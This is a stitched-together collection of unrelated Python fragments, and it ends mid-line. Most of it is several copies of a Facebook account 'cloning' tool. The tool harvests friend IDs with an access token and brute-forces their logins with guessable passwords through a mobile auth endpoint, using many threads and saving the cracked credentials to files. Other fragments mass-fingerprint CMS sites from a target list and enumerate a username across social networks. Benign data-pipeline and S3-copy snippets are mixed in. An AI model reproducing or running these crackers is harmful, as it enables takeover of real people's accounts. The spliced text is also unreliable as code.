def pilih_super(): peak = raw_input("\n\033[1;97mChoose Option ≻ \033[1;97m") if peak =="": print "\x1b[1;97mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print "\033[1;97m Please Wait" jalan('\033[1;97m[✔] Getting IDs \033[1;97m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[1;97m≻\033[1;97mLink ID\033[1;37m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;97m[✔] Name\033[1;97m:\033[1;97m "+op["name"] except KeyError: print"\x1b[1;97mID Not Found!" raw_input("\n\033[1;97m[\033[1;97mBack\033[1;97m]") super() print"\033[1;97m[✔] Getting IDs..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="0": menu() else: print "\x1b[1;97mFill in correctly" pilih_super() print "\033[1;97m[✔] Total Friends \033[1;97m: \033[1;97m"+str(len(id)) titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;97m[✔] Cloning Started\033[1;97m"+o),;sys.stdout.flush();time.sleep(1) print""" [!] To Stop Process Press CTRL Then Z ---------------------------------------------------------""" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass #Dev:Jam try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = '786786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = '000786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = b['first_name'] + '786' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = b['first_name'] + '123' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass4 cek = open("out/Checkpoint.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = b['first_name'] + '1234' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass5 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = b['first_name'] + 'khan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass6 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: pass7 = 'Pakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: x = requests.get("https://graph.facebook.com/"+user+"?access_token="+q['access_token']) z = json.loads(x.text) print '\x1b[1;32mSuccessful\x1b[1;32m \x1b[1;32m¦\x1b[1;32m ' + user + ' \x1b[1;32m¦\x1b[1;32m ' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;97mCheckpoint\x1b[1;97m \x1b[1;97m¦\x1b[1;97m ' + user + ' \x1b[1;97m¦\x1b[1;97m ' + pass7 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(50) p.map(main, id) print "\033[1;97m---------------------------------------------------" print '\033[1;97mProcess Has Been Completed.' print"\033[1;97m-----------------" print"\033[1;97mTotal OK/\x1b[1;97mCP \033[1;97m: \033[1;97m"+str(len(oks))+"\033[1;97m/\033[1;97m"+str(len(cekpoint)) print "\033[1;97m---------------------------------------------------" raw_input("\n\033[1;93m[\033[1;96mBack\033[1;93m]") menu()
def execute_system(self, session, config, topic): """ Run the actual system, including the data collection and data analytics. Inputs the session data, the configuration data, and a specified topic. Also, option to enter an existing job_id that we are rerunning. After it will return the run_id that is associated with the results. """ database = Database_Connector(session['Database IP']) job_id = database.get_job_from_topic(topic) # Insert Job into database if it's a new job if (job_id is None): job_id = database.create_new_job(topic) # Insert Run into database and save it's ID for the analytics code run_id = database.create_new_run(job_id) # Data collection commands to be executed. Put in data from configuration command1 = commands.data_exec_twitter % ( '"' + topic + '"', config['Twitter API key'], config['Twitter API secret key'], config['Twitter Access token'], config['Twitter Access token secret']) command2 = commands.data_exec_news % ('"' + topic + '"', config['News API key']) # Parameters for thread pool. Each tuple is their own thread. parameters = [(session['Twitter Collector IP'], [command1]), (session['News Collector IP'], [command2])] # Carry out threading execution and await completion of data collection pool = ThreadPool(2) pool.map(self.command_run_thread, parameters) pool.close() pool.join() # Transfer data to analytics machines (Need to transfer PEM file aswell from config) self.conn.transfer_files(session['Twitter Analyzer IP'], [config['Path to pem']], [config['AWS Key Name'] + ".pem"]) self.conn.transfer_files(session['News Analyzer IP'], [config['Path to pem']], [config['AWS Key Name'] + ".pem"]) # Execute data analytics command1 = commands.analtyics_exec % ( "Twitter", run_id, config['AWS Key Name'] + ".pem", session['Database IP'], session['Twitter Collector IP']) command2 = commands.analtyics_exec % ( "News", run_id, config['AWS Key Name'] + ".pem", session['Database IP'], session['News Collector IP']) parameters = [(session['Twitter Analyzer IP'], [command1]), (session['News Analyzer IP'], [command2])] # Carry out threading execution and await completion of data analytics pool = ThreadPool(2) pool.map(self.command_run_thread, parameters) pool.close() pool.join() # Output will be in the database, just return the run id return run_id
""" def __init__(self, initial=0): """Initialize a new atomic counter to given initial value (default 0).""" self.value = initial self._lock = threading.Lock() def increment(self, num=1): """Atomically increment the counter by num (default 1) and return the new value. """ with self._lock: self.value += num return self.value with open(LOG_FILE) as f: lines = filter(lambda l: 'MOVE FILE' in l, f.readlines()) s3 = boto3.client('s3', 'us-east-1') count = len(lines) done = AtomicCounter() def copy(i): src, dst = lines[i].split(']')[-1].split('=>') src = src.strip() dst = dst.strip() s3.copy({'Bucket': SRC_BUCKET, 'Key': src[1:]}, DST_BUCKET, dst[1:], ExtraArgs = {'ACL': 'public-read'}) print("[%5d / %5d --- %3.2f\%] %s => %s" % (done.increment(), count, 100.0 * done.value / count, src, dst)) pool = ThreadPool(processes = 30) pool.map(copy, range(count))
def pilih_super(): peak = raw_input("\n\033[1;97mChoose an Option>>> \033[1;97m") if peak =="": print "\x1b[1;91mFill in correctly" pilih_super() elif peak =="1": os.system('clear') print logo print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mBlackMafia\033[1;95m♡──────────•◈•──────────♡" jalan('\033[1;93mGetting IDs \033[1;97m...') r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak =="2": os.system('clear') print logo idt = raw_input("\033[1;96m[♡] \033[1;92mEnter ID\033[1;93m: \033[1;97m") print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mBlackMafia\033[1;95m♡──────────•◈•──────────╯♡" try: jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket) op = json.loads(jok.text) print"\033[1;93mName\033[1;93m:\033[1;97m "+op["name"] except KeyError: print"\x1b[1;92mID Not Found!" raw_input("\n\033[1;96m[\033[1;94mBack\033[1;96m]") super() print"\033[1;93mGetting IDs\033[1;93m..." r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak =="0": menu() else: print "\x1b[1;91mFill in correctly" pilih_super() print "\033[1;91mTotal IDs\033[1;93m: \033[1;94m"+str(len(id)) jalan('\033[1;92mPlease Wait\033[1;93m...') titik = ['. ','.. ','... '] for o in titik: print("\r\033[1;91mCloning\033[1;93m"+o),;sys.stdout.flush();time.sleep(1) print "\n\033[1;94m«-----\x1b[1;93m♡To Stop Process Press CTRL+Z♡\033[1;94m----»" print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mBlackMafia\033[1;95m♡──────────•◈•──────────♡" jalan(' \033[1;93m ........Cloning Start plzzz Wait.......... ') print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mBlackMafia\033[1;95m♡──────────•◈•──────────♡" def main(arg): global cekpoint,oks user = arg try: os.mkdir('out') except OSError: pass #Dev:love_hacker try: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;92m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass1 oks.append(user+pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass1+"\n") cek.close() cekpoint.append(user+pass1) else: pass2 = 'Pakistan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass2 oks.append(user+pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass2+"\n") cek.close() cekpoint.append(user+pass2) else: pass3 = a['first_name'] + 'rajpoot' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass3 oks.append(user+pass3) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass3 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass3+"\n") cek.close() cekpoint.append(user+pass3) else: pass4 = b['first_name'] + 'mughal' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass4 oks.append(user+pass4) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass4 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass4+"\n") cek.close() cekpoint.append(user+pass4) else: pass5 = b['first_name'] + 'malik' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass5 oks.append(user+pass5) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass5 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass5+"\n") cek.close() cekpoint.append(user+pass5) else: pass6 = b['first_name'] + 'khan' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass6 oks.append(user+pass6) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass6 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass6+"\n") cek.close() cekpoint.append(user+pass6) else: a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket) b = json.loads(a.text) pass7 = b['first_name'] + 'afridi' data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6") q = json.load(data) if 'access_token' in q: print '\x1b[1;92mSuccessful\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass7 oks.append(user+pass7) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;95mCheckpoint\x1b[1;97m-\x1b[1;94m✧\x1b[1;97m-' + user + '-\x1b[1;94m✧\x1b[1;97m-' + pass7 cek = open("out/checkpoint.txt", "a") cek.write(user+"|"+pass7+"\n") cek.close() cekpoint.append(user+pass7) except: pass p = ThreadPool(30) p.map(main, id) print "\033[1;95m♡──────────•◈•──────────♡\033[1;96mBlackMafia\033[1;95m♡──────────•◈•──────────♡" print " \033[1;93m«---•◈•---Developed By love---•◈•---»" #Dev:love_hacker print '\033[1;91mProcess Has Been Completed\033[1;92m....' print"\033[1;91mTotal OK/\x1b[1;93mCP \033[1;91m: \033[1;91m"+str(len(oks))+"\033[1;97m/\033[1;95m"+str(len(cekpoint)) print """ ...........███ ]▄▄▄▄▄▃ ..▂▄▅█████▅▄▃▂ [███████████████] ◥⊙▲⊙▲⊙▲⊙▲⊙▲⊙◤ ♡──────────────•◈•──────────────♡. : \033[1;96m .....lovehacker BlackMafia........... \033[1;93m : ♡──────────────•◈•──────────────♡.' whatsapp Num +923232132362""" raw_input("\n\033[1;92m[\033[1;94mBack\033[1;96m]") menu()
print green + "[+] OPencarte http://" + url + white + '\n' open("Cms/Opencarte.txt", "a").write('http://' + url + '\n') elif "Joomla" in op2.text: print green + "[+] Joomla http://" + url + white + '\n' open("Cms/Joomla.txt", "a").write('http://' + url + '\n') elif "WordPress" in op3.text: print green + "[+] Wordpress http://" + url + white + '\n' open("Cms/wordpress.txt", "a").write('http://' + url + '\n') elif "sites/default" in op4.text: print green + "[+] Drupal http://" + url + white + '\n' open("Cms/drupal.txt", "a").write('http://' + url + '\n') elif "PrestaShop" in op5.text: print green + "[+] Prestashop http://" + url + white + '\n' open("Cms/drupal.txt", "a").write('http://' + url + '\n') else: print '[-] Cms Not Found --> http://' + red + url + '\n' except: pass ListPass = open(raw_input("Sites List .txt:"), 'r').readlines() pool = ThreadPool(100) pool.map(cms, ListPass) pool.close() pool.join() if __name__ == '__main__': print("Finished, success , Thank you for using Mr Spy Tool --> Result/Grabbed.txt")
def FindPresence(user_taken): start_time = time.time() wiki_link = 'https://en.wikipedia.org/wiki/List_of_HTTP_status_codes' uname = user_taken width = 20 # to pretty print global counter counter = 0 # to count no of success page = requests.get(wiki_link) soup = BeautifulSoup(page.content, 'html.parser') user_agent = ('Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) ' 'AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130' ' Mobile Safari/537.36') headers = {'user-agent': user_agent} def get_website_membership(site): def print_fail(): print(site.rjust(width), ':', colored(state.ljust(width // 2), 'red'), '(Status:', msg, ')') def print_success(): print(site.rjust(width), ':', colored(state.ljust(width // 2), 'green'), '(Status:', msg, ')') url = websites[site] global counter state = "FAIL" msg = '--exception--' if not url[:1] == 'h': link = 'https://' + uname + url else: link = url + uname try: if site == 'Youtube' or 'Twitter': response = requests.get(link) else: response = requests.get(link, headers=headers) tag = soup.find(id=response.status_code) msg = tag.find_parent('dt').text response.raise_for_status() except Exception: print_fail() else: res_soup = BeautifulSoup(response.content, 'html.parser') if site == 'Pastebin': if len(res_soup.find_all('h1')) == 0: msg = 'broken URL' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) if site == 'LinkedIn': if len(res_soup.find_all('h1')) == 0: msg = 'broken URL' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) elif site == 'Wordpress': if 'doesn’t exist' or 'blocked' in res_soup: msg = 'broken URL' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) # elif site == 'Imgur': # ToDo elif site == 'GitLab': if 'Sign in' in res_soup.title.text: msg = 'broken URL' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) elif site == 'HackerNews': if 'No such user.' in res_soup: msg = 'No Such User!' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) elif site == 'ProductHunt': if 'Page Not Found' in res_soup.text: msg = 'No Such User!' print_fail() else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) else: state = 'SUCCESS' counter += 1 print_success() print( colored("\t\tLink to profile {}".format(link), 'red', 'on_cyan', attrs=['bold', 'dark', 'underline'])) websites = { 'LinkedIn': 'https://www.linkedin.com/in/', 'Facebook': 'https://www.facebook.com/', 'Twitter': 'https://twitter.com/', 'Instagram': 'https://www.instagram.com/', 'Youtube': 'https://www.youtube.com/user/', 'Reddit': 'https://www.reddit.com/user/', 'ProductHunt': 'https://www.producthunt.com/@', 'PInterest': 'https://www.pinterest.com/', 'Flickr': 'https://www.flickr.com/people/', 'Vimeo': 'https://vimeo.com/', 'Soundcloud': 'https://soundcloud.com/', 'Disqus': 'https://disqus.com/', 'Medium': 'https://medium.com/@', 'AboutMe': 'https://about.me/', 'Imgur': 'https://imgur.com/user/', # returns a landing page. to do 'Flipboard': 'https://flipboard.com/', 'Slideshare': 'https://slideshare.net/', 'Spotify': 'https://open.spotify.com/user/', 'Scribd': 'https://www.scribd.com/', 'Patreon': 'https://www.patreon.com/', 'BitBucket': 'https://bitbucket.org/', 'GitLab': 'https://gitlab.com/', 'Github': 'https://www.github.com/', 'GoodReads': 'https://www.goodreads.com/', 'Instructable': 'https://www.instructables.com/member/', 'CodeAcademy': 'https://www.codecademy.com/', 'Gravatar': 'https://en.gravatar.com/', 'Pastebin': 'https://pastebin.com/u/', 'FourSquare': 'https://foursquare.com/', 'TripAdvisor': 'https://tripadvisor.com/members/', 'Wikipedia': 'https://www.wikipedia.org/wiki/User:'******'HackerNews': 'https://news.ycombinator.com/user?id=', 'CodeMentor': 'https://www.codementor.io/', 'Trip': 'https://www.trip.skyscanner.com/user/', 'Blogger': '.blogspot.com', 'Wordpress': '.wordpress.com', 'Tumbler': '.tumblr.com', 'Deviantart': '.deviantart.com"', # ^ This website is either blocking/delaying the script 'LiveJournel': '.livejournal.com', 'Slack': '.slack.com', } p = ThreadPool(10) p.map(get_website_membership, list(websites.keys())) n_websites = len(list(websites.keys())) print('Summary: User {} has membership in {}/{} websites'.format( uname, counter, n_websites)) print( f"Completed {len(websites)} queries in {time.time() - start_time:.2f}s" ) return counter
def pilih_super(): peak = raw_input("\n\033[1;97m >>> \033[1;97m") if peak == "": print "\033[1;96m[!] \x1b[1;91mFill in correctly" pilih_super() elif peak == "1": os.system('clear') print logo print 42 * "\033[1;96m=" jalan('\033[1;96m[✺] \033[1;93mGetting ID \033[1;97m...') r = requests.get( "https://graph.facebook.com/me/friends?access_token=" + toket) z = json.loads(r.text) for s in z['data']: id.append(s['id']) elif peak == "2": os.system('clear') print logo print 42 * "\033[1;96m=" idt = raw_input( "\033[1;96m[+] \033[1;93mEnter ID \033[1;91m: \033[1;97m") try: jok = requests.get("https://graph.facebook.com/" + idt + "?access_token=" + toket) op = json.loads(jok.text) print "\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mName\033[1;91m :\033[1;97m " + op[ "name"] except KeyError: print "\033[1;96m[!] \x1b[1;91mID Not Found!" raw_input("\n\033[1;96m[\033[1;97mBack\033[1;96m]") super() jalan('\033[1;96m[✺] \033[1;93mGetting IDs \033[1;97m...') r = requests.get("https://graph.facebook.com/" + idt + "/friends?access_token=" + toket) z = json.loads(r.text) for i in z['data']: id.append(i['id']) elif peak == "3": os.system('clear') print logo print 42 * "\033[1;96m=" try: idlist = raw_input( '\x1b[1;96m[+] \x1b[1;93mEnter File Path \x1b[1;91m: \x1b[1;97m' ) for line in open(idlist, 'r').readlines(): id.append(line.strip()) except IOError: print '\x1b[1;96m[!] \x1b[1;91mFile Not Found' raw_input('\n\x1b[1;96m[ \x1b[1;97mBack \x1b[1;96m]') super() elif peak == "0": menu() else: print "\033[1;96m[!] \x1b[1;91mFill in correctly" pilih_super() print "\033[1;96m[+] \033[1;93mTotal IDs \033[1;91m: \033[1;97m" + str( len(id)) jalan('\033[1;96m[✺] \033[1;93mStarting \033[1;97m...') titik = ['. ', '.. ', '... '] for o in titik: print( "\r\033[1;96m[\033[1;97m✸\033[1;96m] \033[1;93mCracking \033[1;97m" + o), sys.stdout.flush() time.sleep(1) print print('\x1b[1;96m[!] \x1b[1;93mTo Stop Process Press CTRL Then Press z') print 42 * "\033[1;96m=" def main(arg): global cekpoint, oks user = arg try: os.mkdir('out') except OSError: pass try: a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) b = json.loads(a.text) pass1 = ('786786') data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 oks.append(user + pass1) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass1 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass1 + "\n") cek.close() cekpoint.append(user + pass1) else: pass2 = b['first_name'] + '12345' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + "&locale=en_US&password="******"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6" ) q = json.load(data) if 'access_token' in q: print '\x1b[1;96m[\x1b[1;92mSuccessful\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 oks.append(user + pass2) else: if 'www.facebook.com' in q["error_msg"]: print '\x1b[1;96m[\x1b[1;93mCheckpoint\x1b[1;96m]\x1b[1;97m ' + user + ' \x1b[1;96m|\x1b[1;97m ' + pass2 cek = open("out/checkpoint.txt", "a") cek.write(user + "|" + pass2 + "\n") cek.close() cekpoint.append(user + pass2) else: pass3 = b['first_name'] + '123' data = urllib.urlopen( "https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=" + (user) + 